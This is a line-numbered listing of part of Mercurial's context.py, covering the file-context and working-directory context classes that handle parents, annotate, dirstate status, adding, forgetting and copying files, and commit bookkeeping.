1073 1073 pl = [(_path, node, fl) for node in parents if node != nullid]
1074 1074
1075 1075 r = fl.renamed(self._filenode)
1076 1076 if r:
1077 1077 # - In the simple rename case, both parent are nullid, pl is empty.
1078 1078 # - In case of merge, only one of the parent is null id and should
1079 1079 # be replaced with the rename information. This parent is -always-
1080 1080 # the first one.
1081 1081 #
1082 1082 # As null id have always been filtered out in the previous list
1083 1083 # comprehension, inserting to 0 will always result in "replacing
1084 1084 # first nullid parent with rename information.
1085 1085 pl.insert(0, (r[0], r[1], self._repo.file(r[0])))
1086 1086
1087 1087 return [self._parentfilectx(path, fnode, l) for path, fnode, l in pl]
1088 1088
1089 1089 def p1(self):
1090 1090 return self.parents()[0]
1091 1091
1092 1092 def p2(self):
1093 1093 p = self.parents()
1094 1094 if len(p) == 2:
1095 1095 return p[1]
1096 1096 return filectx(self._repo, self._path, fileid=-1, filelog=self._filelog)
1097 1097
1098 1098 def annotate(self, follow=False, skiprevs=None, diffopts=None):
1099 1099 """Returns a list of annotateline objects for each line in the file
1100 1100
1101 1101 - line.fctx is the filectx of the node where that line was last changed
1102 1102 - line.lineno is the line number at the first appearance in the managed
1103 1103 file
1104 1104 - line.text is the data on that line (including newline character)
1105 1105 """
1106 1106 getlog = util.lrucachefunc(lambda x: self._repo.file(x))
1107 1107
1108 1108 def parents(f):
1109 1109 # Cut _descendantrev here to mitigate the penalty of lazy linkrev
1110 1110 # adjustment. Otherwise, p._adjustlinkrev() would walk changelog
1111 1111 # from the topmost introrev (= srcrev) down to p.linkrev() if it
1112 1112 # isn't an ancestor of the srcrev.
1113 1113 f._changeid
1114 1114 pl = f.parents()
1115 1115
1116 1116 # Don't return renamed parents if we aren't following.
1117 1117 if not follow:
1118 1118 pl = [p for p in pl if p.path() == f.path()]
1119 1119
1120 1120 # renamed filectx won't have a filelog yet, so set it
1121 1121 # from the cache to save time
1122 1122 for p in pl:
1123 1123 if not '_filelog' in p.__dict__:
1124 1124 p._filelog = getlog(p.path())
1125 1125
1126 1126 return pl
1127 1127
1128 1128 # use linkrev to find the first changeset where self appeared
1129 1129 base = self.introfilectx()
1130 1130 if getattr(base, '_ancestrycontext', None) is None:
1131 1131 cl = self._repo.changelog
1132 1132 if base.rev() is None:
1133 1133 # wctx is not inclusive, but works because _ancestrycontext
1134 1134 # is used to test filelog revisions
1135 1135 ac = cl.ancestors(
1136 1136 [p.rev() for p in base.parents()], inclusive=True
1137 1137 )
1138 1138 else:
1139 1139 ac = cl.ancestors([base.rev()], inclusive=True)
1140 1140 base._ancestrycontext = ac
1141 1141
1142 1142 return dagop.annotate(
1143 1143 base, parents, skiprevs=skiprevs, diffopts=diffopts
1144 1144 )
1145 1145
1146 1146 def ancestors(self, followfirst=False):
1147 1147 visit = {}
1148 1148 c = self
1149 1149 if followfirst:
1150 1150 cut = 1
1151 1151 else:
1152 1152 cut = None
1153 1153
1154 1154 while True:
1155 1155 for parent in c.parents()[:cut]:
1156 1156 visit[(parent.linkrev(), parent.filenode())] = parent
1157 1157 if not visit:
1158 1158 break
1159 1159 c = visit.pop(max(visit))
1160 1160 yield c
1161 1161
1162 1162 def decodeddata(self):
1163 1163 """Returns `data()` after running repository decoding filters.
1164 1164
1165 1165 This is often equivalent to how the data would be expressed on disk.
1166 1166 """
1167 1167 return self._repo.wwritedata(self.path(), self.data())
1168 1168
1169 1169
1170 1170 class filectx(basefilectx):
1171 1171 """A filecontext object makes access to data related to a particular
1172 1172 filerevision convenient."""
1173 1173
1174 1174 def __init__(
1175 1175 self,
1176 1176 repo,
1177 1177 path,
1178 1178 changeid=None,
1179 1179 fileid=None,
1180 1180 filelog=None,
1181 1181 changectx=None,
1182 1182 ):
1183 1183 """changeid must be a revision number, if specified.
1184 1184 fileid can be a file revision or node."""
1185 1185 self._repo = repo
1186 1186 self._path = path
1187 1187
1188 1188 assert (
1189 1189 changeid is not None or fileid is not None or changectx is not None
1190 1190 ), (
1191 1191 b"bad args: changeid=%r, fileid=%r, changectx=%r"
1192 1192 % (changeid, fileid, changectx,)
1193 1193 )
1194 1194
1195 1195 if filelog is not None:
1196 1196 self._filelog = filelog
1197 1197
1198 1198 if changeid is not None:
1199 1199 self._changeid = changeid
1200 1200 if changectx is not None:
1201 1201 self._changectx = changectx
1202 1202 if fileid is not None:
1203 1203 self._fileid = fileid
1204 1204
1205 1205 @propertycache
1206 1206 def _changectx(self):
1207 1207 try:
1208 1208 return self._repo[self._changeid]
1209 1209 except error.FilteredRepoLookupError:
1210 1210 # Linkrev may point to any revision in the repository. When the
1211 1211 # repository is filtered this may lead to `filectx` trying to build
1212 1212 # `changectx` for filtered revision. In such case we fallback to
1213 1213 # creating `changectx` on the unfiltered version of the reposition.
1214 1214 # This fallback should not be an issue because `changectx` from
1215 1215 # `filectx` are not used in complex operations that care about
1216 1216 # filtering.
1217 1217 #
1218 1218 # This fallback is a cheap and dirty fix that prevent several
1219 1219 # crashes. It does not ensure the behavior is correct. However the
1220 1220 # behavior was not correct before filtering either and "incorrect
1221 1221 # behavior" is seen as better as "crash"
1222 1222 #
1223 1223 # Linkrevs have several serious troubles with filtering that are
1224 1224 # complicated to solve. Proper handling of the issue here should be
1225 1225 # considered when solving linkrev issue are on the table.
1226 1226 return self._repo.unfiltered()[self._changeid]
1227 1227
1228 1228 def filectx(self, fileid, changeid=None):
1229 1229 '''opens an arbitrary revision of the file without
1230 1230 opening a new filelog'''
1231 1231 return filectx(
1232 1232 self._repo,
1233 1233 self._path,
1234 1234 fileid=fileid,
1235 1235 filelog=self._filelog,
1236 1236 changeid=changeid,
1237 1237 )
1238 1238
1239 1239 def rawdata(self):
1240 1240 return self._filelog.rawdata(self._filenode)
1241 1241
1242 1242 def rawflags(self):
1243 1243 """low-level revlog flags"""
1244 1244 return self._filelog.flags(self._filerev)
1245 1245
1246 1246 def data(self):
1247 1247 try:
1248 1248 return self._filelog.read(self._filenode)
1249 1249 except error.CensoredNodeError:
1250 1250 if self._repo.ui.config(b"censor", b"policy") == b"ignore":
1251 1251 return b""
1252 1252 raise error.Abort(
1253 1253 _(b"censored node: %s") % short(self._filenode),
1254 1254 hint=_(b"set censor.policy to ignore errors"),
1255 1255 )
1256 1256
1257 1257 def size(self):
1258 1258 return self._filelog.size(self._filerev)
1259 1259
1260 1260 @propertycache
1261 1261 def _copied(self):
1262 1262 """check if file was actually renamed in this changeset revision
1263 1263
1264 1264 If rename logged in file revision, we report copy for changeset only
1265 1265 if file revisions linkrev points back to the changeset in question
1266 1266 or both changeset parents contain different file revisions.
1267 1267 """
1268 1268
1269 1269 renamed = self._filelog.renamed(self._filenode)
1270 1270 if not renamed:
1271 1271 return None
1272 1272
1273 1273 if self.rev() == self.linkrev():
1274 1274 return renamed
1275 1275
1276 1276 name = self.path()
1277 1277 fnode = self._filenode
1278 1278 for p in self._changectx.parents():
1279 1279 try:
1280 1280 if fnode == p.filenode(name):
1281 1281 return None
1282 1282 except error.LookupError:
1283 1283 pass
1284 1284 return renamed
1285 1285
1286 1286 def children(self):
1287 1287 # hard for renames
1288 1288 c = self._filelog.children(self._filenode)
1289 1289 return [
1290 1290 filectx(self._repo, self._path, fileid=x, filelog=self._filelog)
1291 1291 for x in c
1292 1292 ]
1293 1293
1294 1294
1295 1295 class committablectx(basectx):
1296 1296 """A committablectx object provides common functionality for a context that
1297 1297 wants the ability to commit, e.g. workingctx or memctx."""
1298 1298
1299 1299 def __init__(
1300 1300 self,
1301 1301 repo,
1302 1302 text=b"",
1303 1303 user=None,
1304 1304 date=None,
1305 1305 extra=None,
1306 1306 changes=None,
1307 1307 branch=None,
1308 1308 ):
1309 1309 super(committablectx, self).__init__(repo)
1310 1310 self._rev = None
1311 1311 self._node = None
1312 1312 self._text = text
1313 1313 if date:
1314 1314 self._date = dateutil.parsedate(date)
1315 1315 if user:
1316 1316 self._user = user
1317 1317 if changes:
1318 1318 self._status = changes
1319 1319
1320 1320 self._extra = {}
1321 1321 if extra:
1322 1322 self._extra = extra.copy()
1323 1323 if branch is not None:
1324 1324 self._extra[b'branch'] = encoding.fromlocal(branch)
1325 1325 if not self._extra.get(b'branch'):
1326 1326 self._extra[b'branch'] = b'default'
1327 1327
1328 1328 def __bytes__(self):
1329 1329 return bytes(self._parents[0]) + b"+"
1330 1330
1331 1331 __str__ = encoding.strmethod(__bytes__)
1332 1332
1333 1333 def __nonzero__(self):
1334 1334 return True
1335 1335
1336 1336 __bool__ = __nonzero__
1337 1337
1338 1338 @propertycache
1339 1339 def _status(self):
1340 1340 return self._repo.status()
1341 1341
1342 1342 @propertycache
1343 1343 def _user(self):
1344 1344 return self._repo.ui.username()
1345 1345
1346 1346 @propertycache
1347 1347 def _date(self):
1348 1348 ui = self._repo.ui
1349 1349 date = ui.configdate(b'devel', b'default-date')
1350 1350 if date is None:
1351 1351 date = dateutil.makedate()
1352 1352 return date
1353 1353
1354 1354 def subrev(self, subpath):
1355 1355 return None
1356 1356
1357 1357 def manifestnode(self):
1358 1358 return None
1359 1359
1360 1360 def user(self):
1361 1361 return self._user or self._repo.ui.username()
1362 1362
1363 1363 def date(self):
1364 1364 return self._date
1365 1365
1366 1366 def description(self):
1367 1367 return self._text
1368 1368
1369 1369 def files(self):
1370 1370 return sorted(
1371 1371 self._status.modified + self._status.added + self._status.removed
1372 1372 )
1373 1373
1374 1374 def modified(self):
1375 1375 return self._status.modified
1376 1376
1377 1377 def added(self):
1378 1378 return self._status.added
1379 1379
1380 1380 def removed(self):
1381 1381 return self._status.removed
1382 1382
1383 1383 def deleted(self):
1384 1384 return self._status.deleted
1385 1385
1386 1386 filesmodified = modified
1387 1387 filesadded = added
1388 1388 filesremoved = removed
1389 1389
1390 1390 def branch(self):
1391 1391 return encoding.tolocal(self._extra[b'branch'])
1392 1392
1393 1393 def closesbranch(self):
1394 1394 return b'close' in self._extra
1395 1395
1396 1396 def extra(self):
1397 1397 return self._extra
1398 1398
1399 1399 def isinmemory(self):
1400 1400 return False
1401 1401
1402 1402 def tags(self):
1403 1403 return []
1404 1404
1405 1405 def bookmarks(self):
1406 1406 b = []
1407 1407 for p in self.parents():
1408 1408 b.extend(p.bookmarks())
1409 1409 return b
1410 1410
1411 1411 def phase(self):
1412 1412 phase = phases.draft # default phase to draft
1413 1413 for p in self.parents():
1414 1414 phase = max(phase, p.phase())
1415 1415 return phase
1416 1416
1417 1417 def hidden(self):
1418 1418 return False
1419 1419
1420 1420 def children(self):
1421 1421 return []
1422 1422
1423 1423 def ancestor(self, c2):
1424 1424 """return the "best" ancestor context of self and c2"""
1425 1425 return self._parents[0].ancestor(c2) # punt on two parents for now
1426 1426
1427 1427 def ancestors(self):
1428 1428 for p in self._parents:
1429 1429 yield p
1430 1430 for a in self._repo.changelog.ancestors(
1431 1431 [p.rev() for p in self._parents]
1432 1432 ):
1433 1433 yield self._repo[a]
1434 1434
1435 1435 def markcommitted(self, node):
1436 1436 """Perform post-commit cleanup necessary after committing this ctx
1437 1437
1438 1438 Specifically, this updates backing stores this working context
1439 1439 wraps to reflect the fact that the changes reflected by this
1440 1440 workingctx have been committed. For example, it marks
1441 1441 modified and added files as normal in the dirstate.
1442 1442
1443 1443 """
1444 1444
1445 1445 def dirty(self, missing=False, merge=True, branch=True):
1446 1446 return False
1447 1447
1448 1448
1449 1449 class workingctx(committablectx):
1450 1450 """A workingctx object makes access to data related to
1451 1451 the current working directory convenient.
1452 1452 date - any valid date string or (unixtime, offset), or None.
1453 1453 user - username string, or None.
1454 1454 extra - a dictionary of extra values, or None.
1455 1455 changes - a list of file lists as returned by localrepo.status()
1456 1456 or None to use the repository status.
1457 1457 """
1458 1458
1459 1459 def __init__(
1460 1460 self, repo, text=b"", user=None, date=None, extra=None, changes=None
1461 1461 ):
1462 1462 branch = None
1463 1463 if not extra or b'branch' not in extra:
1464 1464 try:
1465 1465 branch = repo.dirstate.branch()
1466 1466 except UnicodeDecodeError:
1467 1467 raise error.Abort(_(b'branch name not in UTF-8!'))
1468 1468 super(workingctx, self).__init__(
1469 1469 repo, text, user, date, extra, changes, branch=branch
1470 1470 )
1471 1471
1472 1472 def __iter__(self):
1473 1473 d = self._repo.dirstate
1474 1474 for f in d:
1475 1475 if d[f] != b'r':
1476 1476 yield f
1477 1477
1478 1478 def __contains__(self, key):
1479 1479 return self._repo.dirstate[key] not in b"?r"
1480 1480
1481 1481 def hex(self):
1482 1482 return wdirhex
1483 1483
1484 1484 @propertycache
1485 1485 def _parents(self):
1486 1486 p = self._repo.dirstate.parents()
1487 1487 if p[1] == nullid:
1488 1488 p = p[:-1]
1489 1489 # use unfiltered repo to delay/avoid loading obsmarkers
1490 1490 unfi = self._repo.unfiltered()
1491 1491 return [changectx(self._repo, unfi.changelog.rev(n), n) for n in p]
1492 1492
1493 1493 def _fileinfo(self, path):
1494 1494 # populate __dict__['_manifest'] as workingctx has no _manifestdelta
1495 1495 self._manifest
1496 1496 return super(workingctx, self)._fileinfo(path)
1497 1497
1498 1498 def _buildflagfunc(self):
1499 1499 # Create a fallback function for getting file flags when the
1500 1500 # filesystem doesn't support them
1501 1501
1502 1502 copiesget = self._repo.dirstate.copies().get
1503 1503 parents = self.parents()
1504 1504 if len(parents) < 2:
1505 1505 # when we have one parent, it's easy: copy from parent
1506 1506 man = parents[0].manifest()
1507 1507
1508 1508 def func(f):
1509 1509 f = copiesget(f, f)
1510 1510 return man.flags(f)
1511 1511
1512 1512 else:
1513 1513 # merges are tricky: we try to reconstruct the unstored
1514 1514 # result from the merge (issue1802)
1515 1515 p1, p2 = parents
1516 1516 pa = p1.ancestor(p2)
1517 1517 m1, m2, ma = p1.manifest(), p2.manifest(), pa.manifest()
1518 1518
1519 1519 def func(f):
1520 1520 f = copiesget(f, f) # may be wrong for merges with copies
1521 1521 fl1, fl2, fla = m1.flags(f), m2.flags(f), ma.flags(f)
1522 1522 if fl1 == fl2:
1523 1523 return fl1
1524 1524 if fl1 == fla:
1525 1525 return fl2
1526 1526 if fl2 == fla:
1527 1527 return fl1
1528 1528 return b'' # punt for conflicts
1529 1529
1530 1530 return func
1531 1531
1532 1532 @propertycache
1533 1533 def _flagfunc(self):
1534 1534 return self._repo.dirstate.flagfunc(self._buildflagfunc)
1535 1535
1536 1536 def flags(self, path):
1537 1537 if '_manifest' in self.__dict__:
1538 1538 try:
1539 1539 return self._manifest.flags(path)
1540 1540 except KeyError:
1541 1541 return b''
1542 1542
1543 1543 try:
1544 1544 return self._flagfunc(path)
1545 1545 except OSError:
1546 1546 return b''
1547 1547
1548 1548 def filectx(self, path, filelog=None):
1549 1549 """get a file context from the working directory"""
1550 1550 return workingfilectx(
1551 1551 self._repo, path, workingctx=self, filelog=filelog
1552 1552 )
1553 1553
1554 1554 def dirty(self, missing=False, merge=True, branch=True):
1555 1555 b"check whether a working directory is modified"
1556 1556 # check subrepos first
1557 1557 for s in sorted(self.substate):
1558 1558 if self.sub(s).dirty(missing=missing):
1559 1559 return True
1560 1560 # check current working dir
1561 1561 return (
1562 1562 (merge and self.p2())
1563 1563 or (branch and self.branch() != self.p1().branch())
1564 1564 or self.modified()
1565 1565 or self.added()
1566 1566 or self.removed()
1567 1567 or (missing and self.deleted())
1568 1568 )
1569 1569
1570 1570 def add(self, list, prefix=b""):
1571 1571 with self._repo.wlock():
1572 1572 ui, ds = self._repo.ui, self._repo.dirstate
1573 1573 uipath = lambda f: ds.pathto(pathutil.join(prefix, f))
1574 1574 rejected = []
1575 1575 lstat = self._repo.wvfs.lstat
1576 1576 for f in list:
1577 1577 # ds.pathto() returns an absolute file when this is invoked from
1578 1578 # the keyword extension. That gets flagged as non-portable on
1579 1579 # Windows, since it contains the drive letter and colon.
1580 1580 scmutil.checkportable(ui, os.path.join(prefix, f))
1581 1581 try:
1582 1582 st = lstat(f)
1583 1583 except OSError:
1584 1584 ui.warn(_(b"%s does not exist!\n") % uipath(f))
1585 1585 rejected.append(f)
1586 1586 continue
1587 1587 limit = ui.configbytes(b'ui', b'large-file-limit')
1588 1588 if limit != 0 and st.st_size > limit:
1589 1589 ui.warn(
1590 1590 _(
1591 1591 b"%s: up to %d MB of RAM may be required "
1592 1592 b"to manage this file\n"
1593 1593 b"(use 'hg revert %s' to cancel the "
1594 1594 b"pending addition)\n"
1595 1595 )
1596 1596 % (f, 3 * st.st_size // 1000000, uipath(f))
1597 1597 )
1598 1598 if not (stat.S_ISREG(st.st_mode) or stat.S_ISLNK(st.st_mode)):
1599 1599 ui.warn(
1600 1600 _(
1601 1601 b"%s not added: only files and symlinks "
1602 1602 b"supported currently\n"
1603 1603 )
1604 1604 % uipath(f)
1605 1605 )
1606 1606 rejected.append(f)
1607 1607 elif ds[f] in b'amn':
1608 1608 ui.warn(_(b"%s already tracked!\n") % uipath(f))
1609 1609 elif ds[f] == b'r':
1610 1610 ds.normallookup(f)
1611 1611 else:
1612 1612 ds.add(f)
1613 1613 return rejected
1614 1614
1615 1615 def forget(self, files, prefix=b""):
1616 1616 with self._repo.wlock():
1617 1617 ds = self._repo.dirstate
1618 1618 uipath = lambda f: ds.pathto(pathutil.join(prefix, f))
1619 1619 rejected = []
1620 1620 for f in files:
1621 1621 if f not in ds:
1622 1622 self._repo.ui.warn(_(b"%s not tracked!\n") % uipath(f))
1623 1623 rejected.append(f)
1624 1624 elif ds[f] != b'a':
1625 1625 ds.remove(f)
1626 1626 else:
1627 1627 ds.drop(f)
1628 1628 return rejected
1629 1629
1630 1630 def copy(self, source, dest):
1631 1631 try:
1632 1632 st = self._repo.wvfs.lstat(dest)
1633 1633 except OSError as err:
1634 1634 if err.errno != errno.ENOENT:
1635 1635 raise
1636 1636 self._repo.ui.warn(
1637 1637 _(b"%s does not exist!\n") % self._repo.dirstate.pathto(dest)
1638 1638 )
1639 1639 return
1640 1640 if not (stat.S_ISREG(st.st_mode) or stat.S_ISLNK(st.st_mode)):
1641 1641 self._repo.ui.warn(
1642 1642 _(b"copy failed: %s is not a file or a symbolic link\n")
1643 1643 % self._repo.dirstate.pathto(dest)
1644 1644 )
1645 1645 else:
1646 1646 with self._repo.wlock():
1647 1647 ds = self._repo.dirstate
1648 1648 if ds[dest] in b'?':
1649 1649 ds.add(dest)
1650 1650 elif ds[dest] in b'r':
1651 1651 ds.normallookup(dest)
1652 1652 ds.copy(source, dest)
1653 1653
1654 1654 def match(
1655 1655 self,
1656 1656 pats=None,
1657 1657 include=None,
1658 1658 exclude=None,
1659 1659 default=b'glob',
1660 1660 listsubrepos=False,
1661 1661 badfn=None,
1662 1662 ):
1663 1663 r = self._repo
1664 1664
1665 1665 # Only a case insensitive filesystem needs magic to translate user input
1666 1666 # to actual case in the filesystem.
1667 1667 icasefs = not util.fscasesensitive(r.root)
1668 1668 return matchmod.match(
1669 1669 r.root,
1670 1670 r.getcwd(),
1671 1671 pats,
1672 1672 include,
1673 1673 exclude,
1674 1674 default,
1675 1675 auditor=r.auditor,
1676 1676 ctx=self,
1677 1677 listsubrepos=listsubrepos,
1678 1678 badfn=badfn,
1679 1679 icasefs=icasefs,
1680 1680 )
1681 1681
1682 1682 def _filtersuspectsymlink(self, files):
1683 1683 if not files or self._repo.dirstate._checklink:
1684 1684 return files
1685 1685
1686 1686 # Symlink placeholders may get non-symlink-like contents
1687 1687 # via user error or dereferencing by NFS or Samba servers,
1688 1688 # so we filter out any placeholders that don't look like a
1689 1689 # symlink
1690 1690 sane = []
1691 1691 for f in files:
1692 1692 if self.flags(f) == b'l':
1693 1693 d = self[f].data()
1694 1694 if (
1695 1695 d == b''
1696 1696 or len(d) >= 1024
1697 1697 or b'\n' in d
1698 1698 or stringutil.binary(d)
1699 1699 ):
1700 1700 self._repo.ui.debug(
1701 1701 b'ignoring suspect symlink placeholder "%s"\n' % f
1702 1702 )
1703 1703 continue
1704 1704 sane.append(f)
1705 1705 return sane
1706 1706
1707 1707 def _checklookup(self, files):
1708 1708 # check for any possibly clean files
1709 1709 if not files:
1710 1710 return [], [], []
1711 1711
1712 1712 modified = []
1713 1713 deleted = []
1714 1714 fixup = []
1715 1715 pctx = self._parents[0]
1716 1716 # do a full compare of any files that might have changed
1717 1717 for f in sorted(files):
1718 1718 try:
1719 1719 # This will return True for a file that got replaced by a
1720 1720 # directory in the interim, but fixing that is pretty hard.
1721 1721 if (
1722 1722 f not in pctx
1723 1723 or self.flags(f) != pctx.flags(f)
1724 1724 or pctx[f].cmp(self[f])
1725 1725 ):
1726 1726 modified.append(f)
1727 1727 else:
1728 1728 fixup.append(f)
1729 1729 except (IOError, OSError):
1730 1730 # A file become inaccessible in between? Mark it as deleted,
1731 1731 # matching dirstate behavior (issue5584).
1732 1732 # The dirstate has more complex behavior around whether a
1733 1733 # missing file matches a directory, etc, but we don't need to
1734 1734 # bother with that: if f has made it to this point, we're sure
1735 1735 # it's in the dirstate.
1736 1736 deleted.append(f)
1737 1737
1738 1738 return modified, deleted, fixup
1739 1739
1740 1740 def _poststatusfixup(self, status, fixup):
1741 1741 """update dirstate for files that are actually clean"""
1742 1742 poststatus = self._repo.postdsstatus()
1743 1743 if fixup or poststatus:
1744 1744 try:
1745 1745 oldid = self._repo.dirstate.identity()
1746 1746
1747 1747 # updating the dirstate is optional
1748 1748 # so we don't wait on the lock
1749 1749 # wlock can invalidate the dirstate, so cache normal _after_
1750 1750 # taking the lock
1751 1751 with self._repo.wlock(False):
1752 1752 if self._repo.dirstate.identity() == oldid:
1753 1753 if fixup:
1754 1754 normal = self._repo.dirstate.normal
1755 1755 for f in fixup:
1756 1756 normal(f)
1757 1757 # write changes out explicitly, because nesting
1758 1758 # wlock at runtime may prevent 'wlock.release()'
1759 1759 # after this block from doing so for subsequent
1760 1760 # changing files
1761 1761 tr = self._repo.currenttransaction()
1762 1762 self._repo.dirstate.write(tr)
1763 1763
1764 1764 if poststatus:
1765 1765 for ps in poststatus:
1766 1766 ps(self, status)
1767 1767 else:
1768 1768 # in this case, writing changes out breaks
1769 1769 # consistency, because .hg/dirstate was
1770 1770 # already changed simultaneously after last
1771 1771 # caching (see also issue5584 for detail)
1772 1772 self._repo.ui.debug(
1773 1773 b'skip updating dirstate: identity mismatch\n'
1774 1774 )
1775 1775 except error.LockError:
1776 1776 pass
1777 1777 finally:
1778 1778 # Even if the wlock couldn't be grabbed, clear out the list.
1779 1779 self._repo.clearpostdsstatus()
1780 1780
1781 1781 def _dirstatestatus(self, match, ignored=False, clean=False, unknown=False):
1782 1782 '''Gets the status from the dirstate -- internal use only.'''
1783 1783 subrepos = []
1784 1784 if b'.hgsub' in self:
1785 1785 subrepos = sorted(self.substate)
1786 1786 cmp, s = self._repo.dirstate.status(
1787 1787 match, subrepos, ignored=ignored, clean=clean, unknown=unknown
1788 1788 )
1789 1789
1790 1790 # check for any possibly clean files
1791 1791 fixup = []
1792 1792 if cmp:
1793 1793 modified2, deleted2, fixup = self._checklookup(cmp)
1794 1794 s.modified.extend(modified2)
1795 1795 s.deleted.extend(deleted2)
1796 1796
1797 1797 if fixup and clean:
1798 1798 s.clean.extend(fixup)
1799 1799
1800 1800 self._poststatusfixup(s, fixup)
1801 1801
1802 1802 if match.always():
1803 1803 # cache for performance
1804 1804 if s.unknown or s.ignored or s.clean:
1805 1805 # "_status" is cached with list*=False in the normal route
1806 1806 self._status = scmutil.status(
1807 1807 s.modified, s.added, s.removed, s.deleted, [], [], []
1808 1808 )
1809 1809 else:
1810 1810 self._status = s
1811 1811
1812 1812 return s
1813 1813
1814 1814 @propertycache
1815 1815 def _copies(self):
1816 1816 p1copies = {}
1817 1817 p2copies = {}
1818 1818 parents = self._repo.dirstate.parents()
1819 1819 p1manifest = self._repo[parents[0]].manifest()
1820 1820 p2manifest = self._repo[parents[1]].manifest()
1821 1821 changedset = set(self.added()) | set(self.modified())
1822 1822 narrowmatch = self._repo.narrowmatch()
1823 1823 for dst, src in self._repo.dirstate.copies().items():
1824 1824 if dst not in changedset or not narrowmatch(dst):
1825 1825 continue
1826 1826 if src in p1manifest:
1827 1827 p1copies[dst] = src
1828 1828 elif src in p2manifest:
1829 1829 p2copies[dst] = src
1830 1830 return p1copies, p2copies
1831 1831
1832 1832 @propertycache
1833 1833 def _manifest(self):
1834 1834 """generate a manifest corresponding to the values in self._status
1835 1835
1836 1836 This reuse the file nodeid from parent, but we use special node
1837 1837 identifiers for added and modified files. This is used by manifests
1838 1838 merge to see that files are different and by update logic to avoid
1839 1839 deleting newly added files.
1840 1840 """
1841 1841 return self._buildstatusmanifest(self._status)
1842 1842
1843 1843 def _buildstatusmanifest(self, status):
1844 1844 """Builds a manifest that includes the given status results."""
1845 1845 parents = self.parents()
1846 1846
1847 1847 man = parents[0].manifest().copy()
1848 1848
1849 1849 ff = self._flagfunc
1850 1850 for i, l in (
1851 1851 (addednodeid, status.added),
1852 1852 (modifiednodeid, status.modified),
1853 1853 ):
1854 1854 for f in l:
1855 1855 man[f] = i
1856 1856 try:
1857 1857 man.setflag(f, ff(f))
1858 1858 except OSError:
1859 1859 pass
1860 1860
1861 1861 for f in status.deleted + status.removed:
1862 1862 if f in man:
1863 1863 del man[f]
1864 1864
1865 1865 return man
1866 1866
1867 1867 def _buildstatus(
1868 1868 self, other, s, match, listignored, listclean, listunknown
1869 1869 ):
1870 1870 """build a status with respect to another context
1871 1871
1872 1872 This includes logic for maintaining the fast path of status when
1873 1873 comparing the working directory against its parent, which is to skip
1874 1874 building a new manifest if self (working directory) is not comparing
1875 1875 against its parent (repo['.']).
1876 1876 """
1877 1877 s = self._dirstatestatus(match, listignored, listclean, listunknown)
1878 1878 # Filter out symlinks that, in the case of FAT32 and NTFS filesystems,
1879 1879 # might have accidentally ended up with the entire contents of the file
1880 1880 # they are supposed to be linking to.
1881 1881 s.modified[:] = self._filtersuspectsymlink(s.modified)
1882 1882 if other != self._repo[b'.']:
1883 1883 s = super(workingctx, self)._buildstatus(
1884 1884 other, s, match, listignored, listclean, listunknown
1885 1885 )
1886 1886 return s
1887 1887
1888 1888 def _matchstatus(self, other, match):
1889 1889 """override the match method with a filter for directory patterns
1890 1890
1891 1891 We use inheritance to customize the match.bad method only in cases of
1892 1892 workingctx since it belongs only to the working directory when
1893 1893 comparing against the parent changeset.
1894 1894
1895 1895 If we aren't comparing against the working directory's parent, then we
1896 1896 just use the default match object sent to us.
1897 1897 """
1898 1898 if other != self._repo[b'.']:
1899 1899
1900 1900 def bad(f, msg):
1901 1901 # 'f' may be a directory pattern from 'match.files()',
1902 1902 # so 'f not in ctx1' is not enough
1903 1903 if f not in other and not other.hasdir(f):
1904 1904 self._repo.ui.warn(
1905 1905 b'%s: %s\n' % (self._repo.dirstate.pathto(f), msg)
1906 1906 )
1907 1907
1908 1908 match.bad = bad
1909 1909 return match
1910 1910
1911 1911 def walk(self, match):
1912 1912 '''Generates matching file names.'''
1913 1913 return sorted(
1914 1914 self._repo.dirstate.walk(
1915 1915 self._repo.narrowmatch(match),
1916 1916 subrepos=sorted(self.substate),
1917 1917 unknown=True,
1918 1918 ignored=False,
1919 1919 )
1920 1920 )
1921 1921
1922 1922 def matches(self, match):
1923 1923 match = self._repo.narrowmatch(match)
1924 1924 ds = self._repo.dirstate
1925 1925 return sorted(f for f in ds.matches(match) if ds[f] != b'r')
1926 1926
1927 1927 def markcommitted(self, node):
1928 1928 with self._repo.dirstate.parentchange():
1929 1929 for f in self.modified() + self.added():
1930 1930 self._repo.dirstate.normal(f)
1931 1931 for f in self.removed():
1932 1932 self._repo.dirstate.drop(f)
1933 1933 self._repo.dirstate.setparents(node)
1934 1934
1935 1935 # write changes out explicitly, because nesting wlock at
1936 1936 # runtime may prevent 'wlock.release()' in 'repo.commit()'
1937 1937 # from immediately doing so for subsequent changing files
1938 1938 self._repo.dirstate.write(self._repo.currenttransaction())
1939 1939
1940 1940 sparse.aftercommit(self._repo, node)
1941 1941
1942 1942
1943 1943 class committablefilectx(basefilectx):
1944 1944 """A committablefilectx provides common functionality for a file context
1945 1945 that wants the ability to commit, e.g. workingfilectx or memfilectx."""
1946 1946
1947 1947 def __init__(self, repo, path, filelog=None, ctx=None):
1948 1948 self._repo = repo
1949 1949 self._path = path
1950 1950 self._changeid = None
1951 1951 self._filerev = self._filenode = None
1952 1952
1953 1953 if filelog is not None:
1954 1954 self._filelog = filelog
1955 1955 if ctx:
1956 1956 self._changectx = ctx
1957 1957
1958 1958 def __nonzero__(self):
1959 1959 return True
1960 1960
1961 1961 __bool__ = __nonzero__
1962 1962
1963 1963 def linkrev(self):
1964 1964 # linked to self._changectx no matter if file is modified or not
1965 1965 return self.rev()
1966 1966
1967 1967 def renamed(self):
1968 1968 path = self.copysource()
1969 1969 if not path:
1970 1970 return None
1971 1971 return path, self._changectx._parents[0]._manifest.get(path, nullid)
1972 1972
1973 1973 def parents(self):
1974 1974 '''return parent filectxs, following copies if necessary'''
1975 1975
1976 1976 def filenode(ctx, path):
1977 1977 return ctx._manifest.get(path, nullid)
1978 1978
1979 1979 path = self._path
1980 1980 fl = self._filelog
1981 1981 pcl = self._changectx._parents
1982 1982 renamed = self.renamed()
1983 1983
1984 1984 if renamed:
1985 1985 pl = [renamed + (None,)]
1986 1986 else:
1987 1987 pl = [(path, filenode(pcl[0], path), fl)]
1988 1988
1989 1989 for pc in pcl[1:]:
1990 1990 pl.append((path, filenode(pc, path), fl))
1991 1991
1992 1992 return [
1993 1993 self._parentfilectx(p, fileid=n, filelog=l)
1994 1994 for p, n, l in pl
1995 1995 if n != nullid
1996 1996 ]
1997 1997
1998 1998 def children(self):
1999 1999 return []
2000 2000
2001 2001
2002 2002 class workingfilectx(committablefilectx):
2003 2003 """A workingfilectx object makes access to data related to a particular
2004 2004 file in the working directory convenient."""
2005 2005
2006 2006 def __init__(self, repo, path, filelog=None, workingctx=None):
